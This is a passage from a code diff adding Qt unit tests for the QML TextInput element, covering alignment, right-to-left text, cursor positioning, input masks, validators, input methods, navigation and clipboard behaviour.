+ QVERIFY(str != text);
+ }
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextinput::horizontalAlignment_data()
+{
+ QTest::addColumn<int>("hAlign");
+ QTest::addColumn<QString>("expectfile");
+
+ QTest::newRow("L") << int(Qt::AlignLeft) << "halign_left";
+ QTest::newRow("R") << int(Qt::AlignRight) << "halign_right";
+ QTest::newRow("C") << int(Qt::AlignHCenter) << "halign_center";
+}
+
+void tst_qdeclarativetextinput::horizontalAlignment()
+{
+ QFETCH(int, hAlign);
+ QFETCH(QString, expectfile);
+
+ QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment.qml");
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+ QObject *ob = canvas->rootObject();
+ QVERIFY(ob != 0);
+ ob->setProperty("horizontalAlignment",hAlign);
+ QImage actual(canvas->width(), canvas->height(), QImage::Format_RGB32);
+ actual.fill(qRgb(255,255,255));
+ {
+ QPainter p(&actual);
+ canvas->render(&p);
+ }
+
+ expectfile = createExpectedFileIfNotFound(expectfile, actual);
+
+ QImage expect(expectfile);
+
+ QCOMPARE(actual,expect);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextinput::horizontalAlignment_RightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml");
+ QDeclarativeTextInput *textInput = canvas->rootObject()->findChild<QDeclarativeTextInput*>("text");
+ QVERIFY(textInput != 0);
+ canvas->show();
+
+ const QString rtlText = textInput->text();
+
+ QDeclarativeTextInputPrivate *textInputPrivate = QDeclarativeTextInputPrivate::get(textInput);
+ QVERIFY(textInputPrivate != 0);
+ QVERIFY(-textInputPrivate->hscroll > canvas->width()/2);
+
+ // implicit alignment should follow the reading direction of RTL text
+ QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignRight);
+ QCOMPARE(textInput->effectiveHAlign(), textInput->hAlign());
+ QVERIFY(-textInputPrivate->hscroll > canvas->width()/2);
+
+ // explicitly left aligned
+ textInput->setHAlign(QDeclarativeTextInput::AlignLeft);
+ QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignLeft);
+ QCOMPARE(textInput->effectiveHAlign(), textInput->hAlign());
+ QVERIFY(-textInputPrivate->hscroll < canvas->width()/2);
+
+ // explicitly right aligned
+ textInput->setHAlign(QDeclarativeTextInput::AlignRight);
+ QCOMPARE(textInput->effectiveHAlign(), textInput->hAlign());
+ QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignRight);
+ QVERIFY(-textInputPrivate->hscroll > canvas->width()/2);
+
+ // explicitly center aligned
+ textInput->setHAlign(QDeclarativeTextInput::AlignHCenter);
+ QCOMPARE(textInput->effectiveHAlign(), textInput->hAlign());
+ QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignHCenter);
+ QVERIFY(-textInputPrivate->hscroll < canvas->width()/2);
+ QVERIFY(-textInputPrivate->hscroll + textInputPrivate->width() > canvas->width()/2);
+
+ // reseted alignment should go back to following the text reading direction
+ textInput->resetHAlign();
+ QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignRight);
+ QCOMPARE(textInput->effectiveHAlign(), textInput->hAlign());
+ QVERIFY(-textInputPrivate->hscroll > canvas->width()/2);
+
+ // mirror the text item
+ QDeclarativeItemPrivate::get(textInput)->setLayoutMirror(true);
+
+ // mirrored implicit alignment should continue to follow the reading direction of the text
+ QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignRight);
+ QCOMPARE(textInput->effectiveHAlign(), textInput->hAlign());
+ QVERIFY(-textInputPrivate->hscroll > canvas->width()/2);
+
+ // explicitly right aligned behaves as left aligned
+ textInput->setHAlign(QDeclarativeTextInput::AlignRight);
+ QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignRight);
+ QCOMPARE(textInput->effectiveHAlign(), QDeclarativeTextInput::AlignLeft);
+ QVERIFY(-textInputPrivate->hscroll < canvas->width()/2);
+
+ // mirrored explicitly left aligned behaves as right aligned
+ textInput->setHAlign(QDeclarativeTextInput::AlignLeft);
+ QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignLeft);
+ QCOMPARE(textInput->effectiveHAlign(), QDeclarativeTextInput::AlignRight);
+ QVERIFY(-textInputPrivate->hscroll > canvas->width()/2);
+
+ // disable mirroring
+ QDeclarativeItemPrivate::get(textInput)->setLayoutMirror(false);
+ QCOMPARE(textInput->effectiveHAlign(), textInput->hAlign());
+ textInput->resetHAlign();
+
+ // English text should be implicitly left aligned
+ textInput->setText("Hello world!");
+ QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignLeft);
+ QVERIFY(-textInputPrivate->hscroll < canvas->width()/2);
+
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ // If there is no committed text, the preedit text should determine the alignment.
+ textInput->setText(QString());
+ { QInputMethodEvent ev(rtlText, QList<QInputMethodEvent::Attribute>()); QApplication::sendEvent(canvas, &ev); }
+ QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignRight);
+ { QInputMethodEvent ev("Hello world!", QList<QInputMethodEvent::Attribute>()); QApplication::sendEvent(canvas, &ev); }
+ QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignLeft);
+
+#ifndef Q_OS_MAC // QTBUG-18040
+ // empty text with implicit alignment follows the system locale-based
+ // keyboard input direction from QApplication::keyboardInputDirection
+ textInput->setText("");
+ QCOMPARE(textInput->hAlign(), QApplication::keyboardInputDirection() == Qt::LeftToRight ?
+ QDeclarativeTextInput::AlignLeft : QDeclarativeTextInput::AlignRight);
+ if (QApplication::keyboardInputDirection() == Qt::LeftToRight)
+ QVERIFY(-textInputPrivate->hscroll < canvas->width()/2);
+ else
+ QVERIFY(-textInputPrivate->hscroll > canvas->width()/2);
+ textInput->setHAlign(QDeclarativeTextInput::AlignRight);
+ QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignRight);
+ QVERIFY(-textInputPrivate->hscroll > canvas->width()/2);
+#endif
+
+ delete canvas;
+
+#ifndef Q_OS_MAC // QTBUG-18040
+ // alignment of TextInput with no text set to it
+ QString componentStr = "import QtQuick 1.0\nTextInput {}";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeTextInput *textObject = qobject_cast<QDeclarativeTextInput*>(textComponent.create());
+ QCOMPARE(textObject->hAlign(), QApplication::keyboardInputDirection() == Qt::LeftToRight ?
+ QDeclarativeTextInput::AlignLeft : QDeclarativeTextInput::AlignRight);
+ delete textObject;
+#endif
+}
+
+void tst_qdeclarativetextinput::positionAt()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/positionAt.qml");
+ QVERIFY(canvas->rootObject() != 0);
+ canvas->show();
+ canvas->setFocus();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput *>(canvas->rootObject());
+ QVERIFY(textinputObject != 0);
+
+ // Check autoscrolled...
+ QFontMetrics fm(textinputObject->font());
+
+ int pos = textinputObject->positionAt(textinputObject->width()/2);
+ int diff = abs(int(fm.width(textinputObject->text()) - (fm.width(textinputObject->text().left(pos))+textinputObject->width()/2)));
+
+ // some tollerance for different fonts.
+#ifdef Q_OS_LINUX
+ QVERIFY(diff < 2);
+#else
+ QVERIFY(diff < 5);
+#endif
+
+ int x = textinputObject->positionToRectangle(pos + 1).x() - 1;
+ QCOMPARE(textinputObject->positionAt(x, QDeclarativeTextInput::CursorBetweenCharacters), pos + 1);
+ QCOMPARE(textinputObject->positionAt(x, QDeclarativeTextInput::CursorOnCharacter), pos);
+
+ // Check without autoscroll...
+ textinputObject->setAutoScroll(false);
+ pos = textinputObject->positionAt(textinputObject->width()/2);
+ diff = abs(int(fm.width(textinputObject->text().left(pos))-textinputObject->width()/2));
+
+ // some tollerance for different fonts.
+#ifdef Q_OS_LINUX
+ QVERIFY(diff < 2);
+#else
+ QVERIFY(diff < 5);
+#endif
+
+ x = textinputObject->positionToRectangle(pos + 1).x() - 1;
+ QCOMPARE(textinputObject->positionAt(x, QDeclarativeTextInput::CursorBetweenCharacters), pos + 1);
+ QCOMPARE(textinputObject->positionAt(x, QDeclarativeTextInput::CursorOnCharacter), pos);
+
+ const qreal x0 = textinputObject->positionToRectangle(pos).x();
+ const qreal x1 = textinputObject->positionToRectangle(pos + 1).x();
+
+ QString preeditText = textinputObject->text().mid(0, pos);
+ textinputObject->setText(textinputObject->text().mid(pos));
+ textinputObject->setCursorPosition(0);
+
+ QInputMethodEvent inputEvent(preeditText, QList<QInputMethodEvent::Attribute>());
+ QApplication::sendEvent(canvas, &inputEvent);
+
+ // Check all points within the preedit text return the same position.
+ QCOMPARE(textinputObject->positionAt(0), 0);
+ QCOMPARE(textinputObject->positionAt(x0 / 2), 0);
+ QCOMPARE(textinputObject->positionAt(x0), 0);
+
+ // Verify positioning returns to normal after the preedit text.
+ QCOMPARE(textinputObject->positionAt(x1), 1);
+ QCOMPARE(textinputObject->positionToRectangle(1).x(), x1);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextinput::maxLength()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/maxLength.qml");
+ QVERIFY(canvas->rootObject() != 0);
+ canvas->show();
+ canvas->setFocus();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput *>(canvas->rootObject());
+ QVERIFY(textinputObject != 0);
+ QVERIFY(textinputObject->text().isEmpty());
+ QVERIFY(textinputObject->maxLength() == 10);
+ foreach(const QString &str, standard){
+ QVERIFY(textinputObject->text().length() <= 10);
+ textinputObject->setText(str);
+ QVERIFY(textinputObject->text().length() <= 10);
+ }
+
+ textinputObject->setText("");
+ QTRY_VERIFY(textinputObject->hasActiveFocus() == true);
+ for(int i=0; i<20; i++){
+ QCOMPARE(textinputObject->text().length(), qMin(i,10));
+ //simulateKey(canvas, Qt::Key_A);
+ QTest::keyPress(canvas, Qt::Key_A);
+ QTest::keyRelease(canvas, Qt::Key_A, Qt::NoModifier ,10);
+ }
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextinput::masks()
+{
+ //Not a comprehensive test of the possible masks, that's done elsewhere (QLineEdit)
+ //QString componentStr = "import QtQuick 1.0\nTextInput { inputMask: 'HHHHhhhh'; }";
+ QDeclarativeView *canvas = createView(SRCDIR "/data/masks.qml");
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput *>(canvas->rootObject());
+ QVERIFY(textinputObject != 0);
+ QTRY_VERIFY(textinputObject->hasActiveFocus() == true);
+ QVERIFY(textinputObject->text().length() == 0);
+ QCOMPARE(textinputObject->inputMask(), QString("HHHHhhhh; "));
+ for(int i=0; i<10; i++){
+ QCOMPARE(qMin(i,8), textinputObject->text().length());
+ QCOMPARE(i>=4, textinputObject->hasAcceptableInput());
+ //simulateKey(canvas, Qt::Key_A);
+ QTest::keyPress(canvas, Qt::Key_A);
+ QTest::keyRelease(canvas, Qt::Key_A, Qt::NoModifier ,10);
+ }
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextinput::validators()
+{
+ // Note that this test assumes that the validators are working properly
+ // so you may need to run their tests first. All validators are checked
+ // here to ensure that their exposure to QML is working.
+
+ QDeclarativeView *canvas = createView(SRCDIR "/data/validators.qml");
+ canvas->show();
+ canvas->setFocus();
+
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeTextInput *intInput = qobject_cast<QDeclarativeTextInput *>(qvariant_cast<QObject *>(canvas->rootObject()->property("intInput")));
+ QVERIFY(intInput);
+ intInput->setFocus(true);
+ QTRY_VERIFY(intInput->hasActiveFocus());
+ QTest::keyPress(canvas, Qt::Key_1);
+ QTest::keyRelease(canvas, Qt::Key_1, Qt::NoModifier ,10);
+ QCOMPARE(intInput->text(), QLatin1String("1"));
+ QCOMPARE(intInput->hasAcceptableInput(), false);
+ QTest::keyPress(canvas, Qt::Key_2);
+ QTest::keyRelease(canvas, Qt::Key_2, Qt::NoModifier ,10);
+ QCOMPARE(intInput->text(), QLatin1String("1"));
+ QCOMPARE(intInput->hasAcceptableInput(), false);
+ QTest::keyPress(canvas, Qt::Key_1);
+ QTest::keyRelease(canvas, Qt::Key_1, Qt::NoModifier ,10);
+ QCOMPARE(intInput->text(), QLatin1String("11"));
+ QCOMPARE(intInput->hasAcceptableInput(), true);
+ QTest::keyPress(canvas, Qt::Key_0);
+ QTest::keyRelease(canvas, Qt::Key_0, Qt::NoModifier ,10);
+ QCOMPARE(intInput->text(), QLatin1String("11"));
+ QCOMPARE(intInput->hasAcceptableInput(), true);
+
+ QDeclarativeTextInput *dblInput = qobject_cast<QDeclarativeTextInput *>(qvariant_cast<QObject *>(canvas->rootObject()->property("dblInput")));
+ QTRY_VERIFY(dblInput);
+ dblInput->setFocus(true);
+ QVERIFY(dblInput->hasActiveFocus() == true);
+ QTest::keyPress(canvas, Qt::Key_1);
+ QTest::keyRelease(canvas, Qt::Key_1, Qt::NoModifier ,10);
+ QCOMPARE(dblInput->text(), QLatin1String("1"));
+ QCOMPARE(dblInput->hasAcceptableInput(), false);
+ QTest::keyPress(canvas, Qt::Key_2);
+ QTest::keyRelease(canvas, Qt::Key_2, Qt::NoModifier ,10);
+ QCOMPARE(dblInput->text(), QLatin1String("12"));
+ QCOMPARE(dblInput->hasAcceptableInput(), true);
+ QTest::keyPress(canvas, Qt::Key_Period);
+ QTest::keyRelease(canvas, Qt::Key_Period, Qt::NoModifier ,10);
+ QCOMPARE(dblInput->text(), QLatin1String("12."));
+ QCOMPARE(dblInput->hasAcceptableInput(), true);
+ QTest::keyPress(canvas, Qt::Key_1);
+ QTest::keyRelease(canvas, Qt::Key_1, Qt::NoModifier ,10);
+ QCOMPARE(dblInput->text(), QLatin1String("12.1"));
+ QCOMPARE(dblInput->hasAcceptableInput(), true);
+ QTest::keyPress(canvas, Qt::Key_1);
+ QTest::keyRelease(canvas, Qt::Key_1, Qt::NoModifier ,10);
+ QCOMPARE(dblInput->text(), QLatin1String("12.11"));
+ QCOMPARE(dblInput->hasAcceptableInput(), true);
+ QTest::keyPress(canvas, Qt::Key_1);
+ QTest::keyRelease(canvas, Qt::Key_1, Qt::NoModifier ,10);
+ QCOMPARE(dblInput->text(), QLatin1String("12.11"));
+ QCOMPARE(dblInput->hasAcceptableInput(), true);
+
+ QDeclarativeTextInput *strInput = qobject_cast<QDeclarativeTextInput *>(qvariant_cast<QObject *>(canvas->rootObject()->property("strInput")));
+ QTRY_VERIFY(strInput);
+ strInput->setFocus(true);
+ QVERIFY(strInput->hasActiveFocus() == true);
+ QTest::keyPress(canvas, Qt::Key_1);
+ QTest::keyRelease(canvas, Qt::Key_1, Qt::NoModifier ,10);
+ QCOMPARE(strInput->text(), QLatin1String(""));
+ QCOMPARE(strInput->hasAcceptableInput(), false);
+ QTest::keyPress(canvas, Qt::Key_A);
+ QTest::keyRelease(canvas, Qt::Key_A, Qt::NoModifier ,10);
+ QCOMPARE(strInput->text(), QLatin1String("a"));
+ QCOMPARE(strInput->hasAcceptableInput(), false);
+ QTest::keyPress(canvas, Qt::Key_A);
+ QTest::keyRelease(canvas, Qt::Key_A, Qt::NoModifier ,10);
+ QCOMPARE(strInput->text(), QLatin1String("aa"));
+ QCOMPARE(strInput->hasAcceptableInput(), true);
+ QTest::keyPress(canvas, Qt::Key_A);
+ QTest::keyRelease(canvas, Qt::Key_A, Qt::NoModifier ,10);
+ QCOMPARE(strInput->text(), QLatin1String("aaa"));
+ QCOMPARE(strInput->hasAcceptableInput(), true);
+ QTest::keyPress(canvas, Qt::Key_A);
+ QTest::keyRelease(canvas, Qt::Key_A, Qt::NoModifier ,10);
+ QCOMPARE(strInput->text(), QLatin1String("aaaa"));
+ QCOMPARE(strInput->hasAcceptableInput(), true);
+ QTest::keyPress(canvas, Qt::Key_A);
+ QTest::keyRelease(canvas, Qt::Key_A, Qt::NoModifier ,10);
+ QCOMPARE(strInput->text(), QLatin1String("aaaa"));
+ QCOMPARE(strInput->hasAcceptableInput(), true);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextinput::inputMethods()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/inputmethods.qml");
+ canvas->show();
+ canvas->setFocus();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+
+ // test input method hints
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextInput *input = qobject_cast<QDeclarativeTextInput *>(canvas->rootObject());
+ QVERIFY(input != 0);
+ QVERIFY(input->imHints() & Qt::ImhNoPredictiveText);
+ QVERIFY(input->inputMethodHints() & Qt::ImhNoPredictiveText);
+ input->setIMHints(Qt::ImhUppercaseOnly);
+ QVERIFY(input->imHints() & Qt::ImhUppercaseOnly);
+ QVERIFY(input->inputMethodHints() & Qt::ImhUppercaseOnly);
+
+ QVERIFY(canvas->rootObject() != 0);
+
+ input->setFocus(true);
+ QVERIFY(input->hasActiveFocus() == true);
+ // test that input method event is committed
+ QInputMethodEvent event;
+ event.setCommitString( "My ", -12, 0);
+ QApplication::sendEvent(canvas, &event);
+ QCOMPARE(input->text(), QString("My Hello world!"));
+
+ input->setCursorPosition(2);
+ event.setCommitString("Your", -2, 2);
+ QApplication::sendEvent(canvas, &event);
+ QCOMPARE(input->text(), QString("Your Hello world!"));
+ QCOMPARE(input->cursorPosition(), 4);
+
+ input->setCursorPosition(7);
+ event.setCommitString("Goodbye", -2, 5);
+ QApplication::sendEvent(canvas, &event);
+ QCOMPARE(input->text(), QString("Your Goodbye world!"));
+ QCOMPARE(input->cursorPosition(), 12);
+
+ input->setCursorPosition(8);
+ event.setCommitString("Our", -8, 4);
+ QApplication::sendEvent(canvas, &event);
+ QCOMPARE(input->text(), QString("Our Goodbye world!"));
+ QCOMPARE(input->cursorPosition(), 7);
+
+ delete canvas;
+}
+
+/*
+TextInput element should only handle left/right keys until the cursor reaches
+the extent of the text, then they should ignore the keys.
+
+*/
+void tst_qdeclarativetextinput::navigation()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/navigation.qml");
+ canvas->show();
+ canvas->setFocus();
+
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeTextInput *input = qobject_cast<QDeclarativeTextInput *>(qvariant_cast<QObject *>(canvas->rootObject()->property("myInput")));
+
+ QVERIFY(input != 0);
+ input->setCursorPosition(0);
+ QTRY_VERIFY(input->hasActiveFocus() == true);
+ simulateKey(canvas, Qt::Key_Left);
+ QVERIFY(input->hasActiveFocus() == false);
+ simulateKey(canvas, Qt::Key_Right);
+ QVERIFY(input->hasActiveFocus() == true);
+ //QT-2944: If text is selected, ensure we deselect upon cursor motion
+ input->setCursorPosition(input->text().length());
+ input->select(0,input->text().length());
+ QVERIFY(input->selectionStart() != input->selectionEnd());
+ simulateKey(canvas, Qt::Key_Right);
+ QVERIFY(input->selectionStart() == input->selectionEnd());
+ QVERIFY(input->selectionStart() == input->text().length());
+ QVERIFY(input->hasActiveFocus() == true);
+ simulateKey(canvas, Qt::Key_Right);
+ QVERIFY(input->hasActiveFocus() == false);
+ simulateKey(canvas, Qt::Key_Left);
+ QVERIFY(input->hasActiveFocus() == true);
+
+ // Up and Down should NOT do Home/End, even on Mac OS X (QTBUG-10438).
+ input->setCursorPosition(2);
+ QCOMPARE(input->cursorPosition(),2);
+ simulateKey(canvas, Qt::Key_Up);
+ QCOMPARE(input->cursorPosition(),2);
+ simulateKey(canvas, Qt::Key_Down);
+ QCOMPARE(input->cursorPosition(),2);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextinput::navigation_RTL()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/navigation.qml");
+ canvas->show();
+ canvas->setFocus();
+
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeTextInput *input = qobject_cast<QDeclarativeTextInput *>(qvariant_cast<QObject *>(canvas->rootObject()->property("myInput")));
+
+ QVERIFY(input != 0);
+ const quint16 arabic_str[] = { 0x0638, 0x0643, 0x00646, 0x0647, 0x0633, 0x0638, 0x0643, 0x00646, 0x0647, 0x0633, 0x0647};
+ input->setText(QString::fromUtf16(arabic_str, 11));
+
+ input->setCursorPosition(0);
+ QTRY_VERIFY(input->hasActiveFocus() == true);
+
+ // move off
+ simulateKey(canvas, Qt::Key_Right);
+ QVERIFY(input->hasActiveFocus() == false);
+
+ // move back
+ simulateKey(canvas, Qt::Key_Left);
+ QVERIFY(input->hasActiveFocus() == true);
+
+ input->setCursorPosition(input->text().length());
+ QVERIFY(input->hasActiveFocus() == true);
+
+ // move off
+ simulateKey(canvas, Qt::Key_Left);
+ QVERIFY(input->hasActiveFocus() == false);
+
+ // move back
+ simulateKey(canvas, Qt::Key_Right);
+ QVERIFY(input->hasActiveFocus() == true);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextinput::copyAndPaste() {
+#ifndef QT_NO_CLIPBOARD
+
+#ifdef Q_WS_MAC
+ {
+ PasteboardRef pasteboard;
+ OSStatus status = PasteboardCreate(0, &pasteboard);
+ if (status == noErr)
+ CFRelease(pasteboard);
+ else
+ QSKIP("This machine doesn't support the clipboard", SkipAll);
+ }
+#endif
+
+ QString componentStr = "import QtQuick 1.0\nTextInput { text: \"Hello world!\" }";
+ QDeclarativeComponent textInputComponent(&engine);
+ textInputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textInput = qobject_cast<QDeclarativeTextInput*>(textInputComponent.create());
+ QVERIFY(textInput != 0);
+
+ // copy and paste
+ QCOMPARE(textInput->text().length(), 12);
+ textInput->select(0, textInput->text().length());;
+ textInput->copy();
+ QCOMPARE(textInput->selectedText(), QString("Hello world!"));
+ QCOMPARE(textInput->selectedText().length(), 12);
+ textInput->setCursorPosition(0);
+ QVERIFY(textInput->canPaste());
+ textInput->paste();
+ QCOMPARE(textInput->text(), QString("Hello world!Hello world!"));
+ QCOMPARE(textInput->text().length(), 24);
+
+ // can paste
+ QVERIFY(textInput->canPaste());
+ textInput->setReadOnly(true);
+ QVERIFY(!textInput->canPaste());
+ textInput->setReadOnly(false);
+ QVERIFY(textInput->canPaste());
+
+ // select word
+ textInput->setCursorPosition(0);
+ textInput->selectWord();
+ QCOMPARE(textInput->selectedText(), QString("Hello"));
+
+ // select all and cut
+ textInput->selectAll();
+ textInput->cut();
+ QCOMPARE(textInput->text().length(), 0);
+ textInput->paste();
+ QCOMPARE(textInput->text(), QString("Hello world!Hello world!"));
+ QCOMPARE(textInput->text().length(), 24);
+
+ // clear copy buffer
+ QClipboard *clipboard = QApplication::clipboard();
+ QVERIFY(clipboard);
+ clipboard->clear();
+ QVERIFY(!textInput->canPaste());
+
+ // test that copy functionality is disabled
+ // when echo mode is set to hide text/password mode
+ int index = 0;
+ while (index < 4) {
+ QDeclarativeTextInput::EchoMode echoMode = QDeclarativeTextInput::EchoMode(index);
+ textInput->setEchoMode(echoMode);
+ textInput->setText("My password");
+ textInput->select(0, textInput->text().length());;
+ textInput->copy();
+ if (echoMode == QDeclarativeTextInput::Normal) {
+ QVERIFY(!clipboard->text().isEmpty());
+ QCOMPARE(clipboard->text(), QString("My password"));
+ clipboard->clear();
+ } else {
+ QVERIFY(clipboard->text().isEmpty());
+ }
+ index++;
+ }
+#endif
+}
+
+void tst_qdeclarativetextinput::canPasteEmpty() {
+#ifndef QT_NO_CLIPBOARD
+
+ QApplication::clipboard()->clear();
+
+ QString componentStr = "import QtQuick 1.0\nTextInput { text: \"Hello world!\" }";
+ QDeclarativeComponent textInputComponent(&engine);
+ textInputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textInput = qobject_cast<QDeclarativeTextInput*>(textInputComponent.create());
+ QVERIFY(textInput != 0);
+
+ QLineControl lc;
+ bool cp = !lc.isReadOnly() && QApplication::clipboard()->text().length() != 0;
+ QCOMPARE(textInput->canPaste(), cp);
+
+#endif
+}
+
+void tst_qdeclarativetextinput::canPaste() {
+#ifndef QT_NO_CLIPBOARD
+
+ QApplication::clipboard()->setText("Some text");
+
+ QString componentStr = "import QtQuick 1.0\nTextInput { text: \"Hello world!\" }";
+ QDeclarativeComponent textInputComponent(&engine);
+ textInputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textInput = qobject_cast<QDeclarativeTextInput*>(textInputComponent.create());
+ QVERIFY(textInput != 0);
+
+ QLineControl lc;
+ bool cp = !lc.isReadOnly() && QApplication::clipboard()->text().length() != 0;
+ QCOMPARE(textInput->canPaste(), cp);
+
+#endif
+}
+
+void tst_qdeclarativetextinput::passwordCharacter()
+{
+ QString componentStr = "import QtQuick 1.0\nTextInput { text: \"Hello world!\"; font.family: \"Helvetica\"; echoMode: TextInput.Password }";
+ QDeclarativeComponent textInputComponent(&engine);
+ textInputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textInput = qobject_cast<QDeclarativeTextInput*>(textInputComponent.create());
+ QVERIFY(textInput != 0);
+
+ textInput->setPasswordCharacter("X");
+ QSize contentsSize = textInput->contentsSize();
+ textInput->setPasswordCharacter(".");
+ // QTBUG-12383 content is updated and redrawn
+ QVERIFY(contentsSize != textInput->contentsSize());
+}
+
+void tst_qdeclarativetextinput::cursorDelegate()
+{
+ QDeclarativeView* view = createView(SRCDIR "/data/cursorTest.qml");
+ view->show();
+ view->setFocus();
+ QDeclarativeTextInput *textInputObject = view->rootObject()->findChild<QDeclarativeTextInput*>("textInputObject");
+ QVERIFY(textInputObject != 0);
+ QVERIFY(textInputObject->findChild<QDeclarativeItem*>("cursorInstance"));
+ //Test Delegate gets created
+ textInputObject->setFocus(true);
+ QDeclarativeItem* delegateObject = textInputObject->findChild<QDeclarativeItem*>("cursorInstance");
+ QVERIFY(delegateObject);
+ //Test Delegate gets moved
+ for(int i=0; i<= textInputObject->text().length(); i++){
+ textInputObject->setCursorPosition(i);
+ QCOMPARE(textInputObject->cursorRectangle().x(), qRound(delegateObject->x()));
+ QCOMPARE(textInputObject->cursorRectangle().y(), qRound(delegateObject->y()));
+ }
+ const QString preedit = "preedit";
+ for (int i = 0; i <= preedit.length(); i++) {
+ QInputMethodEvent event(preedit, QList<QInputMethodEvent::Attribute>()
+ << QInputMethodEvent::Attribute(QInputMethodEvent::Cursor, i, 1, QVariant()));
+ QApplication::sendEvent(view, &event);
+
+ QCOMPARE(textInputObject->cursorRectangle().x(), qRound(delegateObject->x()));
+ QCOMPARE(textInputObject->cursorRectangle().y(), qRound(delegateObject->y()));
+ }
+ textInputObject->setCursorPosition(0);
+ QCOMPARE(textInputObject->cursorRectangle().x(), qRound(delegateObject->x()));
+ QCOMPARE(textInputObject->cursorRectangle().y(), qRound(delegateObject->y()));
+ //Test Delegate gets deleted
+ textInputObject->setCursorDelegate(0);
+ QVERIFY(!textInputObject->findChild<QDeclarativeItem*>("cursorInstance"));
+
+ delete view;
+}
+
+void tst_qdeclarativetextinput::cursorVisible()
+{
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ QDeclarativeTextInput input;
+ QSignalSpy spy(&input, SIGNAL(cursorVisibleChanged(bool)));
+
+ QCOMPARE(input.isCursorVisible(), false);
+
+ input.setCursorVisible(true);
+ QCOMPARE(input.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 1);
+
+ input.setCursorVisible(false);
+ QCOMPARE(input.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 2);
+
+ input.setFocus(true);
+ QCOMPARE(input.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 2);
+
+ scene.addItem(&input);
+ QCOMPARE(input.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 3);
+
+ input.setFocus(false);
+ QCOMPARE(input.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 4);
+
+ input.setFocus(true);
+ QCOMPARE(input.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 5);
+
+ scene.clearFocus();
+ QCOMPARE(input.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 6);
+
+ scene.setFocus();
+ QCOMPARE(input.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 7);
+
+ view.clearFocus();
+ QCOMPARE(input.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 8);
+
+ view.setFocus();
+ QCOMPARE(input.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 9);
+
+ // on mac, setActiveWindow(0) on mac does not deactivate the current application
+ // (you have to switch to a different app or hide the current app to trigger this)
+#if !defined(Q_WS_MAC)
+ QApplication::setActiveWindow(0);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(0));
+ QCOMPARE(input.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 10);
+
+ QApplication::setActiveWindow(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+ QCOMPARE(input.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 11);
+#endif
+}
+
+void tst_qdeclarativetextinput::cursorRectangle()
+{
+ QString text = "Hello World!";
+
+ QDeclarativeTextInput input;
+ input.setText(text);
+ QFontMetricsF fm(input.font());
